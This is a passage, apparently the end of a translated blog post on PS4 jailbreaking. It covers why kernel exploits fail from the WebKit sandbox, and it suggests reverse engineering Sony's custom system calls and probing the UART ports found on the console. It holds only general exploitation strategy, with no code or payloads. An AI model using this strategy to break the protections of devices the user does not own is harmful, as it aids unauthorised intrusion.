Unfortunately, most kernel exploits cannot be run from the WebKit entry point due to sandbox restrictions (which are most likely controlled by the standard FreeBSD jails mechanism). Alas, there is no reason to hope for the publication of private exploits for FreeBSD 9, so until suddenly a new one comes out, we are forced to work with what we have. I assume that it is possible to exploit the PS4 kernel using some of the existing memory corruption error vulnerabilities, but it will definitely be difficult.

The best approach here is reverse engineering all the modules that you can dump, in order to document the maximum possible number of special system calls from Sony; intuition tells me that with them the chance to achieve good luck will be higher than with standard FreeBSD system calls. Jaicrab

recently discovered two UART ports on the PS4 , which tells us about the potential interest of hardware hackers in the console. Although the role of hardware hackers was usually in dumping the RAM system (as it was with DSi ), this time we managed to do this ourselves thanks to the WebKit exploit - however, there is the possibility of detecting a kernel vulnerability that will be "turned on" by the hardware, like this was with the original hypervisor hack in PS3 by geohot. However, this does not negate the fact that the PS4 kernel exploit will most likely be done due to a system call vulnerability.

Thanks for reading!
If you notice a mistake, or want to offer clarification / correction, then do not hesitate to write to me in the LAN.

Also popular now: